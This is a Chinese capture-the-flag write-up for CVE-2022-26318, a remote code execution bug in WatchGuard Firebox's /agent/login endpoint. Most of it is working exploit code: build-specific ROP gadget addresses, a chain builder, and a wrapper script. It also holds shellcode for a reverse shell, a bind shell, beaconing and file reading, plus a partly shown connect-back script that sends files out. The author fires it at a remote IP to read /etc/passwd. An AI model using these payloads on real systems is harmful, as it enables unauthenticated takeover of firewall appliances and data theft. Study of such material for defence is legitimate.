- 真正从崩溃走到可控执行,靠的是 second-stage ROP 链
- 而 ROP 链里的地址和具体 build 强相关
也就是说,公开 PoC 给的只有:
- 利用思路
- 一组针对公开样本的 gadget 地址
但这题镜像是:
12.7.1 B644848
它和公开资料对应的二进制不是同一个编译结果,所以这几样东西都可能变:
- first-hop tag
ret/pop/mov rbp,rsp; call rax这类 gadget 地址- second-stage 相对栈布局
如果 gadget 地址不对,利用现象通常就是:
502 Bad Gateway- 连接被断开
- 看起来像命中了溢出,但始终进不了第二阶段
所以这题还必须写为了让溢出后的控制流真的落到可控代码,需要为当前 build 重新找 gadget
本题最终利用成功的核心,不是“知道有这个 CVE”,而是“把当前 build 的 second-stage gadget 链重建出来”
这题最后稳定命中的 second-stage 在:
POCwg_stage2_retest.py:191-208
链条如下:
REAL_RET
REAL_RET_2
REAL_RET
00 00
REAL_POP_RAX_RBX_RBP_RET
REAL_POP_RSI_R15_RET
0
0
REAL_MOV_RBP_RSP_CALL_RAX
0
REAL_PUSH_RBP_MOV_RBP_RSP_CALL_RAX
REAL_LEA_RDX_RBP_M80_CALL_RAX
0
REAL_POP_RAX_RBX_RBP_RET
0xC0
0
0
REAL_ADD_RAX_RDX_JMP_RAX
这些 gadget 的作用可以理解成下面这样:
| 名称 | 地址 | 作用 |
|---|---|---|
FIRST_HOP_TAG | mEA | 先把 libxml 的回调跳转引到我们可控的 second-stage 附近 |
REAL_RET | 0x405020 | 做最前面的栈对齐和过渡 |
REAL_RET_2 | 0x40F888 | 配合前后 ret 调整栈位置,让后面的 body 在正确偏移被解释 |
REAL_POP_RAX_RBX_RBP_RET | 0x41D52E | 装填 rax/rbx/rbp,给后续 call rax 和地址运算做准备 |
REAL_POP_RSI_R15_RET | 0x41D4D1 | 清理并布置 rsi/r15,避免第二阶段被脏寄存器影响 |
REAL_MOV_RBP_RSP_CALL_RAX | 0x405E7D | 关键 pivot 点,把 rbp 锚到当前 rsp,再通过 call rax 连到下一段 |
REAL_PUSH_RBP_MOV_RBP_RSP_CALL_RAX | 0x405E7C | 再次把栈基址和执行流固定下来,给后面取相对地址用 |
REAL_LEA_RDX_RBP_M80_CALL_RAX | 0x41D1CD | 计算 rdx = rbp - 0x80 一类的相对地址,把 shellcode/数据区和栈基址关联起来 |
REAL_POP_RAX_RBX_RBP_RET | 0x41D52E | 第二次使用时把 0xC0 装进 rax,作为偏移量 |
REAL_ADD_RAX_RDX_JMP_RAX | 0x40A84A | 最后把 rax = rdx + 0xC0,再 jmp rax,直接跳到栈上 shellcode/结果面代码 |
可以把这条链概括成一句话:
- 前半段负责把
rbp固定到当前栈,建立“稳定参考点” - 中间一段根据
rbp算出我们 payload 中第二阶段代码的相对位置 - 最后一跳把控制流准确地送进后面的 shellcode
所以这条链不是随便拼几个 ret,而是在做三件事:
- 栈对齐
- 栈锚定
- 相对地址计算后跳转到 shellcode
除了 ROP gadget,本题里 first-hop tag 也不能直接照抄公开资料
公开资料常见的是MFA
但当前 build 最后稳定命中的却是mEA
这一点在POCwg_stage2_retest.py:18-23里已经直接写出来了。
可以把它理解成公开样本里,某个 libxml 回调被劫持后,刚好会落到 0x41464d 对应的 MFA
但在当前 build 里,真正能把执行流带入正确 second-stage 的,是 0x41456d 对应的 mEA
所以:
- 不是“随便找个三个字符 tag”
- 而是要让 first-hop 对应的值和当前 build 的控制流落点正好匹配
这也是为什么本题必须写“重找 first-hop + 重建 gadget 链”,而不是只写“套用公开 PoC”。
然后看:
- POCwg_stage2_retest.py:191-208
这里是当前 build 最终稳定的 second-stage:
build_real_assetnote_exact_chain()
也就是说,这题真正要修的不是“公开 PoC 有没有思路”,而是:
- first-hop tag 要从
MFA改成mEA - gadget 要从 public 版本换成当前 build 的真实地址
RCE 成功以后,怎么把结果带回来,同样很关键
先看POCwg_stage2_retest.py:386-524`
这是最后打通 flag 的核心函数build_response_readfile_shellcode()
它不是简单地 write(fd, data),而是自己构造:
- FastCGI
STDOUT记录 - 空
STDOUT END_REQUEST
因为 /agent/login 这条链跑在 FastCGI/前端代理后面,结果面必须符合这个协议,前端才会老老实实回你 200 OK 和内容
CVE-2022-26318 是 WatchGuard wgagent 在处理未授权 /agent/login 请求时的栈溢出漏洞。
攻击者可以直接向https://<target>:8080/agent/login或设备上的 4117 入口
发送恶意 gzip 压缩的 XML-RPC 请求
利用的关键不是普通的 XML-RPC 调用,而是一个刻意构造的畸形 XML tag 布局:
- 先用
A * 3181把内存布局顶到临界位置 - 再用
MFA>或当前 build 的mEA>做 first-hop - 再重复大量
<BBBB...>tag
公开资料里提到,后续 libxml2 再次尝试调用 startElementNs 之类的解析回调时,控制流会被带到被破坏后的地址上
在这题里,可以把它理解成:
- 攻击者可控 XML 数据把解析过程用到的栈上控制数据/回调路径冲坏了
- 下一次解析器回调时,程序不再跳到正常函数
- 而是跳到由攻击者布局好的 first-hop/ROP/shellcode
这个问题其实不是一个点,而是几个点叠在一起。
最早卡住的核心原因,是直接拿公开 PoC 的 gadget 去打本地镜像
结果就是:
- 有时
502 - 有时无响应
- 有时像是要进 second stage 但总差一口气
原因不是漏洞不存在,而是地址错了。
这也是为什么后面必须换到:
FIRST_HOP_TAG = "mEA"build_real_assetnote_exact_chain()
早期调试里一度用了 full_xml 版本,而这个版本会在重复 tag 后面额外拼一个 AA。
但公开资料和最终稳定链都说明:
- 正确布局应该是
assetnote_full - 不要那个
AA
这个小偏移会直接影响 second stage 的落点。
我一开始把“读文件回显”当成普通 HTTP body 写
这一步是最后真正收口前最大的坑
最早做读文件版 payload 时,思路是:
open("/flag.txt")read()write(fd, "Content-Type: text/plain\\r\\n\\r\\n" + data)
这在“普通 TCP 响应”里看起来是合理的,但对这题不够。
原因是:
/agent/login这条链实际结果面走的是 FastCGI- 前端想看到的是标准 FastCGI
STDOUT记录 - 不是裸写一段普通 HTTP body
所以之前会出现:
- 无响应
EOF occurred in violation of protocol502 Bad Gateway
最后修正方法就是:
- 按 FastCGI 协议自己拼
STDOUT+ 空STDOUT+END_REQUEST - 同时把 content length 正确填进去
修完之后,/etc/passwd 能稳定回显但由于一直不理解出题人的要求程度
我这个本地镜像里也没有flag,不知道具体路径,发了个基础的未授权rce验证,邮箱回复说要完整rce
我还考虑说是不是要提权到root,反弹 shell 不够稳定,我中途也试过 reverse shell
现象是:
- 目标会回连
- 但拿不到可靠的交互输出
这和公开资料里的经验是一致的:WatchGuard 这种设备系统很精简,传统交互 shell 不一定是最稳的结果面。
所以最后没有死磕反弹 shell,而是换成了:
responseresponse_readfile
这种直接回显的方式
本地做过这些检查:
- 常见路径搜索
/flag、/flag.txt、/root/flag*、/home/admin/flag* firebox_analysis/fs_flag_search.txt递归枚举系统目录- support dump 中只见到
debug_flag,内容是0
最后还是感谢出题人公开了静态靶机地址:
先验证远程 8080 上是否真有未授权 RCE
使用:
python firebox_analysis\firebox_1271_rce.py 114.66.24.203 --rport 8080 --payload-kind response --marker REMOTE8080_OK --recv-timeout 6
看到:
HTTP/1.1 200 OK- 回应里出现自定义 marker
这一步就已经能证明:
- 远程
8080的/agent/login是可利用的
实测里:
8080是稳定命中的4117更容易出现502
所以最后解题直接固定在:
https://114.66.24.203:8080/agent/login
为了证明“读文件回显”链真的通了,先读:
python firebox_analysis\firebox_1271_rce.py 114.66.24.203 --rport 8080 --payload-kind response_readfile --target-path /etc/passwd
这里成功回显了 /etc/passwd,说明:
response_readfile的 FCGI 结果面是对的- 当前权限足以读普通系统文件
再试常见 flag 路径
先试:
python firebox_analysis\firebox_1271_rce.py 114.66.24.203 --rport 8080 --payload-kind response_readfile --target-path /flag
回显:
OPEN_FAILED /flag
说明:
/flag不存在
最后走狗屎运改读 /flag.txt
最终命令:
python firebox_analysis\firebox_1271_rce.py 114.66.24.203 --rport 8080 --payload-kind response_readfile --target-path /flag.txt
返回flag
到这一步,题目已经完成
exp
import argparse
import subprocess
import sys
from pathlib import Path
ROOT = Path(__file__).resolve().parent
BASE = ROOT.parent
CORE = BASE / "POCwg_stage2_retest.py"
def main() -> int:
parser = argparse.ArgumentParser(
description="Wrapper for the confirmed WatchGuard FireboxV 12.7.1 B644848 RCE parameters"
)
parser.add_argument("rhost")
parser.add_argument("--rport", type=int, default=8080)
parser.add_argument(
"--payload-kind",
default="response",
choices=[
"response",
"response_readfile",
"bindbeacon",
"beacon",
"python_flag",
"python_flag_local",
"python_readfile_local",
"reverse",
"hang",
],
)
parser.add_argument("--marker", default="RCE1271_OK")
parser.add_argument("--lhost", default="192.168.248.1")
parser.add_argument("--lport", type=int, default=9001)
parser.add_argument("--response-fds", default="4,5,6,7,8,9,10,11,12")
parser.add_argument("--recv-timeout", type=float, default=5.0)
parser.add_argument("--target-path", default="/flag.txt")
args = parser.parse_args()
cmd = [
sys.executable,
str(CORE),
"--rhost",
args.rhost,
"--rport",
str(args.rport),
"--tag",
"mEA",
"--stage2",
"real_assetnote_exact",
"--padding",
"231",
"--head-pad",
"3181",
"--repeat-count",
"3680",
"--layout",
"assetnote_full",
"--payload-kind",
args.payload_kind,
"--marker",
args.marker,
"--lhost",
args.lhost,
"--lport",
str(args.lport),
"--response-fds",
args.response_fds,
"--target-path",
args.target_path,
"--recv-timeout",
str(args.recv_timeout),
]
return subprocess.run(cmd, cwd=ROOT).returncode
if __name__ == "__main__":
raise SystemExit(main())
POCwg_stage2_retest.py
import argparse
import argparse
import gzip
import socket
import ssl
import struct
import sys
R_HOST = "192.168.17.134"
L_HOST = "192.168.17.1"
L_PORT = 8888
MARKER_TEXT = b"PewPewPewPew"
RESPONSE_FDS = "4,5,6,7,8,9,10,11,12"
PUBLIC_RESPONSE_FDS = "9"
HEAD_PAD_LEN = 3181
# Real 12.7.1 build 644848 wgagent extracted from the appliance image:
# mEA -> 0x41456d -> ret 0x90be
# Alternate real-sample candidate:
# mbA -> 0x41626d -> ret 0x8b48
FIRST_HOP_TAG = "mEA"
PUBLIC_FIRST_HOP_TAG = "MFA"
REAL_RET = 0x405020
REAL_RET_2 = 0x40F888
REAL_POP_RAX_RBX_RBP_RET = 0x41D52E
REAL_POP_RSI_R15_RET = 0x41D4D1
REAL_PUSH_RBP_MOV_RBP_RSP_CALL_RAX = 0x405E7C
REAL_MOV_RBP_RSP_CALL_RAX = 0x405E7D
REAL_LEA_RDX_RBP_M80_CALL_RAX = 0x41D1CD
REAL_ADD_RAX_RDX_JMP_RAX = 0x40A84A
G_JMP_RSP = 0x407BDD
G_RET = 0x427636
G_RET_2 = 0x412640
G_RET_14 = 0x413548
G_ADD_RSP_8_RET = 0x40601C
G_SKIP_56_RET = 0x427A6A
G_SKIP_24_RET = 0x407F30
G_POP_RBX_RBP_RET = 0x407F34
G_POP_RAX_RBX_RBP_RET = 0x40A5A1
G_POP_RBP_JMP_RAX = 0x4275D7
G_CALL_RAX = 0x427650
G_MOV_RBP_RSP_CALL_RAX = 0x42764D
G_RBP_PIVOT_10_RET = 0x4065EF
G_RBP_PIVOT_20_RET = 0x407DEE
PUB_RET = 0x405020
PUB_RET_2 = 0x40F968
PUB_POP_RAX_RBX_RBP_RET = 0x41D60E
PUB_POP_RSI_R15_RET = 0x41D5B1
PUB_MOV_RBP_RSP_CALL_RAX = 0x405E7D
PUB_PUSH_RBP_MOV_RBP_RSP_CALL_RAX = 0x405E7C
PUB_LEA_RDX_RBP_M80_CALL_RAX = 0x41D2AD
PUB_ADD_RAX_RDX_JMP_RAX = 0x40A92A
# Real-sample defaults: because the best candidate is again a ret 0x90be
# first-hop, we revert to the public spacing rather than the wtB compensation
# that only made sense for the wrong binary sample.
TAG_REPEAT_COUNT = 3680
STAGE2_PADDING = 231
RET_CHAIN_COUNT = 0
PROFILE_DEFAULTS = {
"real_4117_reverse": {
"rport": 4117,
"tag": FIRST_HOP_TAG,
"stage2": "real_assetnote_exact",
"payload_kind": "reverse",
"response_fds": RESPONSE_FDS,
"layout": "assetnote_full",
},
"real_4117_response": {
"rport": 4117,
"tag": FIRST_HOP_TAG,
"stage2": "real_assetnote_exact",
"payload_kind": "response",
"response_fds": RESPONSE_FDS,
"layout": "assetnote_full",
},
"public_4117_response": {
"rport": 4117,
"tag": PUBLIC_FIRST_HOP_TAG,
"stage2": "assetnote_exact",
"payload_kind": "assetnote_response",
"response_fds": PUBLIC_RESPONSE_FDS,
"layout": "assetnote_full",
},
"public_8080_response": {
"rport": 8080,
"tag": PUBLIC_FIRST_HOP_TAG,
"stage2": "assetnote_exact",
"payload_kind": "assetnote_response",
"response_fds": PUBLIC_RESPONSE_FDS,
"layout": "assetnote_full",
},
}
def p64(x):
return struct.pack("<Q", x)
def cli_has(argv, *names):
for arg in argv:
for name in names:
if arg == name or arg.startswith(name + "="):
return True
return False
def apply_profile_defaults(args, argv):
profile = PROFILE_DEFAULTS[args.profile]
if not cli_has(argv, "--rport"):
args.rport = profile["rport"]
if not cli_has(argv, "--tag"):
args.tag = profile["tag"]
if not cli_has(argv, "--stage2"):
args.stage2 = profile["stage2"]
if not cli_has(argv, "--payload-kind"):
args.payload_kind = profile["payload_kind"]
if not cli_has(argv, "--response-fds"):
args.response_fds = profile["response_fds"]
if not cli_has(argv, "--layout"):
args.layout = profile["layout"]
return args
def build_callskip_chain(call_site):
return (
p64(G_POP_RAX_RBX_RBP_RET)
+ p64(G_ADD_RSP_8_RET)
+ p64(0x4141414141414141)
+ p64(0x4242424242424242)
+ p64(call_site)
+ p64(G_JMP_RSP)
)
def build_rax_poprbp_jmprax_chain():
return (
p64(G_POP_RAX_RBX_RBP_RET)
+ p64(G_JMP_RSP)
+ p64(0x4141414141414141)
+ p64(0x4242424242424242)
+ p64(G_POP_RBP_JMP_RAX)
+ p64(0x4343434343434343)
)
def build_rbp_pivot_chain(pivot_gadget):
# Layout after the public preamble:
# pop rax/rbx/rbp -> load add_rsp_8_ret into rax
# mov rbp, rsp ; call rax -> rbp becomes a stable anchor into our stack
# lea rsp, [rbp-0x10|0x20] ; ... ; ret -> returns to jmp rsp
# jmp rsp -> lands directly on our shellcode bytes
return (
p64(G_POP_RAX_RBX_RBP_RET)
+ p64(G_ADD_RSP_8_RET)
+ p64(0x4141414141414141)
+ p64(0x4242424242424242)
+ p64(G_MOV_RBP_RSP_CALL_RAX)
+ p64(pivot_gadget)
+ p64(G_JMP_RSP)
)
def build_assetnote_exact_chain():
# Recreate the published helper chain exactly, but let the caller choose the
# tail shellcode/payload bytes that start immediately after the final jump.
body = (
p64(PUB_POP_RAX_RBX_RBP_RET)
+ p64(PUB_POP_RSI_R15_RET)
+ p64(0)
+ p64(0)
+ p64(PUB_MOV_RBP_RSP_CALL_RAX)
+ p64(0)
+ p64(PUB_PUSH_RBP_MOV_RBP_RSP_CALL_RAX)
+ p64(PUB_LEA_RDX_RBP_M80_CALL_RAX)
+ p64(0)
+ p64(PUB_POP_RAX_RBX_RBP_RET)
+ p64(0xC0)
+ p64(0)
+ p64(0)
+ p64(PUB_ADD_RAX_RDX_JMP_RAX)
)
return p64(PUB_RET) + p64(PUB_RET_2) + p64(PUB_RET) + b"\x00\x00" + body
def build_real_assetnote_exact_chain():
body = (
p64(REAL_POP_RAX_RBX_RBP_RET)
+ p64(REAL_POP_RSI_R15_RET)
+ p64(0)
+ p64(0)
+ p64(REAL_MOV_RBP_RSP_CALL_RAX)
+ p64(0)
+ p64(REAL_PUSH_RBP_MOV_RBP_RSP_CALL_RAX)
+ p64(REAL_LEA_RDX_RBP_M80_CALL_RAX)
+ p64(0)
+ p64(REAL_POP_RAX_RBX_RBP_RET)
+ p64(0xC0)
+ p64(0)
+ p64(0)
+ p64(REAL_ADD_RAX_RDX_JMP_RAX)
)
return p64(REAL_RET) + p64(REAL_RET_2) + p64(REAL_RET) + b"\x00\x00" + body
def build_public_preamble(stage2_body):
# Match the public exploit's first transition:
# ret 2 -> ret -> misaligned stage2 body
# The first qword is a harmless placeholder consumed by libxml cleanup.
return p64(G_RET) + p64(G_RET_2) + p64(G_RET) + b"\x00\x00" + stage2_body
def build_reverse_shellcode(lhost, lport):
sockaddr = b"\x02\x00" + struct.pack(">H", lport) + socket.inet_aton(lhost)
prefix = bytes.fromhex("6a2958996a025f6a015e0f05489748b9")
suffix = bytes.fromhex(
"514889e66a105a6a2a580f056a035e48ffce"
"6a21580f0575f66a3b589948bb2f62696e2f"
"736800534889e752574889e60f05"
)
return prefix + sockaddr + suffix
def build_beacon_shellcode(lhost, lport, marker_text):
if len(marker_text) > 0xFFFF:
raise ValueError("marker text too long")
sockaddr = b"\x02\x00" + struct.pack(">H", lport) + socket.inet_aton(lhost)
shellcode = bytes.fromhex(
"6a2958996a025f6a015e0f054897"
"6a00"
"48b9"
)
shellcode += sockaddr
shellcode += bytes.fromhex(
"51"
"4889e6"
"6a105a"
"6a2a58"
"0f05"
"488d3500000000"
"ba00000000"
"b801000000"
"0f05"
"b83c000000"
"31ff"
"0f05"
)
lea_off = shellcode.find(bytes.fromhex("488d3500000000"))
if lea_off < 0:
raise RuntimeError("failed to locate beacon lea placeholder")
disp_off = lea_off + 3
msg_off = len(shellcode)
next_rip = disp_off + 4
shellcode = bytearray(shellcode)
shellcode[disp_off : disp_off + 4] = struct.pack("<i", msg_off - next_rip)
len_off = shellcode.find(bytes.fromhex("ba00000000"))
if len_off < 0:
raise RuntimeError("failed to locate beacon length placeholder")
shellcode[len_off + 1 : len_off + 5] = struct.pack("<I", len(marker_text))
shellcode += marker_text
return bytes(shellcode)
def build_bind_beacon_shellcode(lport, marker_text):
if len(marker_text) > 0xFFFF:
raise ValueError("marker text too long")
sockaddr = b"\x02\x00" + struct.pack(">H", lport) + b"\x00\x00\x00\x00"
shellcode = bytes.fromhex(
"6a2958996a025f6a015e0f05"
"6a00"
"48b9"
)
shellcode += sockaddr
shellcode += bytes.fromhex(
"51"
"4889e6"
"6a105a"
"6a3158"
"0f05"
"6a015e"
"6a3258"
"0f05"
"31f6"
"31d2"
"6a2b58"
"0f05"
"4897"
"488d3500000000"
"ba00000000"
"b801000000"
"0f05"
"b83c000000"
"31ff"
"0f05"
)
lea_off = shellcode.find(bytes.fromhex("488d3500000000"))
if lea_off < 0:
raise RuntimeError("failed to locate bind beacon lea placeholder")
disp_off = lea_off + 3
msg_off = len(shellcode)
next_rip = disp_off + 4
shellcode = bytearray(shellcode)
shellcode[disp_off : disp_off + 4] = struct.pack("<i", msg_off - next_rip)
len_off = shellcode.find(bytes.fromhex("ba00000000"))
if len_off < 0:
raise RuntimeError("failed to locate bind beacon length placeholder")
shellcode[len_off + 1 : len_off + 5] = struct.pack("<I", len(marker_text))
shellcode += marker_text
return bytes(shellcode)
def parse_fd_list(text):
fds = []
for item in text.split(","):
item = item.strip()
if not item:
continue
fds.append(int(item, 0))
if not fds:
raise ValueError("empty fd list")
return fds
def build_response_shellcode(marker_text, fd_list):
if len(marker_text) > 0xFFFF:
raise ValueError("marker text too long")
content = b"Content-Type: text/plain\r\n\r\n" + marker_text
stdout_header = (
b"\x01\x06\x00\x01"
+ struct.pack(">H", len(content))
+ b"\x00\x00"
)
empty_stdout = b"\x01\x06\x00\x01\x00\x00\x00\x00"
end_request = b"\x01\x03\x00\x01\x00\x08\x00\x00" + (b"\x00" * 8)
record = stdout_header + content + empty_stdout + end_request
shellcode = b"\x48\x89\xe6" # mov rsi, rsp
shellcode += b"\x48\x81\xc6" + struct.pack("<I", 0) # patched later with record offset
shellcode += b"\xba" + struct.pack("<I", len(record)) # mov edx, len
for fd in fd_list:
shellcode += b"\xbf" + struct.pack("<I", fd) # mov edi, fd
shellcode += b"\xb8\x01\x00\x00\x00" # mov eax, 1
shellcode += b"\x0f\x05" # syscall
shellcode += b"\xb8\x3c\x00\x00\x00" # mov eax, 60
shellcode += b"\x31\xff" # xor edi, edi
shellcode += b"\x0f\x05" # syscall
shellcode = shellcode[:6] + struct.pack("<I", len(shellcode)) + shellcode[10:]
return shellcode + record
def build_assetnote_response_shellcode(marker_text, fd):
if len(marker_text) > 0xFFFF:
raise ValueError("marker text too long")
if not (0 <= fd <= 0xFFFFFFFF):
raise ValueError("fd out of range")
content = b"Content-Type: text/plain\r\n\r\n" + marker_text
record = (
b"\x01\x06\x00\x01"
+ struct.pack(">H", len(content))
+ b"\x00\x00"
+ content
)
shellcode = b""
shellcode += b"\x48\xc7\xc2" + struct.pack("<I", len(record)) # mov rdx, len(record)
shellcode += b"\x48\x89\xe6" # mov rsi, rsp
shellcode += b"\x48\x83\xc6" + bytes([0]) # add rsi, shellcode_len (patched later)
shellcode += b"\x48\xc7\xc7" + struct.pack("<I", fd) # mov rdi, fd
shellcode += b"\x48\xc7\xc0\x01\x00\x00\x00" # mov rax, 1
shellcode += b"\x0f\x05" # syscall
shellcode += b"\x48\xc7\xc0\x3c\x00\x00\x00" # mov rax, 60
shellcode += b"\x48\xc7\xc7\x00\x00\x00\x00" # mov rdi, 0
shellcode += b"\x0f\x05" # syscall
shellcode = shellcode[:13] + bytes([len(shellcode)]) + shellcode[14:]
return shellcode + record
def build_response_readfile_shellcode(target_path, fd_list, read_size=2048):
if not target_path:
raise ValueError("target path is required")
if read_size <= 0 or read_size > 0x7FFFFFFF:
raise ValueError("invalid read size")
path_bytes = target_path.encode() + b"\x00"
content_header = b"Content-Type: text/plain\r\n\r\n"
stdout_header = b"\x01\x06\x00\x01\x00\x00\x00\x00"
empty_stdout = b"\x01\x06\x00\x01\x00\x00\x00\x00"
end_request = b"\x01\x03\x00\x01\x00\x08\x00\x00" + (b"\x00" * 8)
open_fail = f"OPEN_FAILED {target_path}\n".encode()
read_fail = f"READ_FAILED {target_path}\n".encode()
code = bytearray()
patches = {}
code += b"\x48\x8d\x3d\x00\x00\x00\x00" # lea rdi, [rip+path]
patches["path"] = len(code) - 4
code += b"\x31\xf6" # xor esi, esi
code += b"\x31\xd2" # xor edx, edx
code += b"\xb8\x02\x00\x00\x00" # mov eax, 2
code += b"\x0f\x05" # syscall
code += b"\x48\x85\xc0" # test rax, rax
code += b"\x0f\x88\x00\x00\x00\x00" # js open_fail
patches["js_open_fail"] = len(code) - 4
code += b"\x49\x89\xc4" # mov r12, rax
code += b"\x48\x81\xec" + struct.pack("<I", read_size) # sub rsp, read_size
code += b"\x4c\x89\xe7" # mov rdi, r12
code += b"\x48\x89\xe6" # mov rsi, rsp
code += b"\xba" + struct.pack("<I", read_size) # mov edx, read_size
code += b"\x31\xc0" # xor eax, eax
code += b"\x0f\x05" # syscall
code += b"\x48\x85\xc0" # test rax, rax
code += b"\x0f\x88\x00\x00\x00\x00" # js read_fail
patches["js_read_fail"] = len(code) - 4
code += b"\x49\x89\xc5" # mov r13, rax
code += b"\x49\x89\xe6" # mov r14, rsp
code += b"\xe9\x00\x00\x00\x00" # jmp prepare_send
patches["jmp_prepare_send"] = len(code) - 4
open_fail_off = len(code)
code += b"\x4c\x8d\x35\x00\x00\x00\x00" # lea r14, [rip+open_fail]
patches["open_fail_text"] = len(code) - 4
code += b"\x49\xc7\xc5" + struct.pack("<I", len(open_fail)) # mov r13, len(open_fail)
code += b"\xe9\x00\x00\x00\x00" # jmp prepare_send
patches["jmp_from_open_fail"] = len(code) - 4
read_fail_off = len(code)
code += b"\x4c\x8d\x35\x00\x00\x00\x00" # lea r14, [rip+read_fail]
patches["read_fail_text"] = len(code) - 4
code += b"\x49\xc7\xc5" + struct.pack("<I", len(read_fail)) # mov r13, len(read_fail)
code += b"\xe9\x00\x00\x00\x00" # jmp prepare_send
patches["jmp_from_read_fail"] = len(code) - 4
prepare_send_off = len(code)
code += b"\x48\x8d\x1d\x00\x00\x00\x00" # lea rbx, [rip+stdout_header]
patches["stdout_header"] = len(code) - 4
code += b"\x4c\x8d\x05\x00\x00\x00\x00" # lea r8, [rip+empty_stdout]
patches["empty_stdout"] = len(code) - 4
code += b"\x4c\x8d\x0d\x00\x00\x00\x00" # lea r9, [rip+end_request]
patches["end_request"] = len(code) - 4
code += b"\x4c\x8d\x15\x00\x00\x00\x00" # lea r10, [rip+content_header]
patches["content_header"] = len(code) - 4
code += b"\x4d\x89\xef" # mov r15, r13
code += b"\x49\x83\xc7" + bytes([len(content_header)]) # add r15, len(content_header)
code += b"\x66\x44\x89\xf8" # mov ax, r15w
code += b"\x86\xe0" # xchg al, ah
code += b"\x66\x89\x43\x04" # mov [rbx+4], ax
for fd in fd_list:
code += b"\xbf" + struct.pack("<I", fd) # mov edi, fd
code += b"\x48\x89\xde" # mov rsi, rbx
code += b"\xba\x08\x00\x00\x00" # mov edx, 8
code += b"\xb8\x01\x00\x00\x00" # mov eax, 1
code += b"\x0f\x05" # syscall
code += b"\xbf" + struct.pack("<I", fd) # mov edi, fd
code += b"\x4c\x89\xd6" # mov rsi, r10
code += b"\xba" + struct.pack("<I", len(content_header)) # mov edx, len(content_header)
code += b"\xb8\x01\x00\x00\x00" # mov eax, 1
code += b"\x0f\x05" # syscall
code += b"\xbf" + struct.pack("<I", fd) # mov edi, fd
code += b"\x4c\x89\xf6" # mov rsi, r14
code += b"\x4c\x89\xea" # mov rdx, r13
code += b"\xb8\x01\x00\x00\x00" # mov eax, 1
code += b"\x0f\x05" # syscall
code += b"\xbf" + struct.pack("<I", fd) # mov edi, fd
code += b"\x4c\x89\xc6" # mov rsi, r8
code += b"\xba\x08\x00\x00\x00" # mov edx, 8
code += b"\xb8\x01\x00\x00\x00" # mov eax, 1
code += b"\x0f\x05" # syscall
code += b"\xbf" + struct.pack("<I", fd) # mov edi, fd
code += b"\x4c\x89\xce" # mov rsi, r9
code += b"\xba\x10\x00\x00\x00" # mov edx, 16
code += b"\xb8\x01\x00\x00\x00" # mov eax, 1
code += b"\x0f\x05" # syscall
code += b"\xb8\x3c\x00\x00\x00" # mov eax, 60
code += b"\x31\xff" # xor edi, edi
code += b"\x0f\x05" # syscall
stdout_header_off = len(code)
code += stdout_header
empty_stdout_off = len(code)
code += empty_stdout
end_request_off = len(code)
code += end_request
content_header_off = len(code)
code += content_header
open_fail_text_off = len(code)
code += open_fail
read_fail_text_off = len(code)
code += read_fail
path_off = len(code)
code += path_bytes
for key, target_off in {
"path": path_off,
"stdout_header": stdout_header_off,
"empty_stdout": empty_stdout_off,
"end_request": end_request_off,
"content_header": content_header_off,
"open_fail_text": open_fail_text_off,
"read_fail_text": read_fail_text_off,
}.items():
disp = target_off - (patches[key] + 4)
code[patches[key] : patches[key] + 4] = struct.pack("<i", disp)
for key, target_off in {
"js_open_fail": open_fail_off,
"js_read_fail": read_fail_off,
"jmp_prepare_send": prepare_send_off,
"jmp_from_open_fail": prepare_send_off,
"jmp_from_read_fail": prepare_send_off,
}.items():
disp = target_off - (patches[key] + 4)
code[patches[key] : patches[key] + 4] = struct.pack("<i", disp)
return bytes(code)
def build_hang_shellcode():
return b"\x90\xeb\xfe"
def _pack_lea(reg_opcode_prefix, disp):
return reg_opcode_prefix + struct.pack("<i", disp)
def build_python_exec_shellcode(script_text, shell_path=b"/usr/bin/python", script_path=b"/tmp/cx.py"):
if b"\x00" in script_text or b"\x00" in shell_path or b"\x00" in script_path:
raise ValueError("python exec payload does not support embedded NUL bytes")
code = bytearray()
patches = {}
code += b"\x48\x8d\x3d\x00\x00\x00\x00" # lea rdi, [rip+script_path]
patches["script_path_for_open"] = len(code) - 4
code += b"\xbe\x41\x02\x00\x00" # mov esi, 0x241
code += b"\xba\xb6\x01\x00\x00" # mov edx, 0x1b6
code += b"\xb8\x02\x00\x00\x00" # mov eax, 2
code += b"\x0f\x05" # syscall
code += b"\x49\x89\xc4" # mov r12, rax
code += b"\x4c\x89\xe7" # mov rdi, r12
code += b"\x48\x8d\x35\x00\x00\x00\x00" # lea rsi, [rip+script_text]
patches["script_text"] = len(code) - 4
code += b"\xba" + struct.pack("<I", len(script_text)) # mov edx, len(script_text)
code += b"\xb8\x01\x00\x00\x00" # mov eax, 1
code += b"\x0f\x05" # syscall
code += b"\x4c\x89\xe7" # mov rdi, r12
code += b"\xb8\x03\x00\x00\x00" # mov eax, 3
code += b"\x0f\x05" # syscall
code += b"\x48\x8d\x1d\x00\x00\x00\x00" # lea rbx, [rip+shell_path]
patches["shell_path"] = len(code) - 4
code += b"\x48\x8d\x0d\x00\x00\x00\x00" # lea rcx, [rip+script_path]
patches["script_path_for_argv"] = len(code) - 4
code += b"\x48\x83\xec\x20" # sub rsp, 0x20
code += b"\x48\x89\x1c\x24" # mov [rsp], rbx
code += b"\x48\x89\x4c\x24\x08" # mov [rsp+8], rcx
code += b"\x48\xc7\x44\x24\x10\x00\x00\x00\x00" # mov qword [rsp+16], 0
code += b"\x48\x89\xe6" # mov rsi, rsp
code += b"\x31\xd2" # xor edx, edx
code += b"\x48\x89\xdf" # mov rdi, rbx
code += b"\xb8\x3b\x00\x00\x00" # mov eax, 59
code += b"\x0f\x05" # syscall
code += b"\xb8\x3c\x00\x00\x00" # mov eax, 60
code += b"\x31\xff" # xor edi, edi
code += b"\x0f\x05" # syscall
shell_path_off = len(code)
code += shell_path + b"\x00"
script_path_off = len(code)
code += script_path + b"\x00"
script_text_off = len(code)
code += script_text
for key, target_off in {
"script_path_for_open": script_path_off,
"script_text": script_text_off,
"shell_path": shell_path_off,
"script_path_for_argv": script_path_off,
}.items():
disp = target_off - (patches[key] + 4)
code[patches[key] : patches[key] + 4] = struct.pack("<i", disp)
return bytes(code)
def build_python_flag_script(lhost, lport, script_path="/tmp/cx.py"):
lines = [
"import glob, os, socket",
f"S=socket.create_connection(({lhost!r}, {lport}))",
"C=[",
"r'/flag',r'/flag.txt',r'/root/flag',r'/root/flag.txt',",
"r'/home/admin/flag',r'/home/admin/flag.txt',r'/tmp/flag',r'/tmp/flag.txt',",
"r'/var/tmp/flag',r'/var/tmp/flag.txt']",
"seen=set()",
"hits=[]",
"def send(p):",
" data=open(p,'rb').read(8192)",
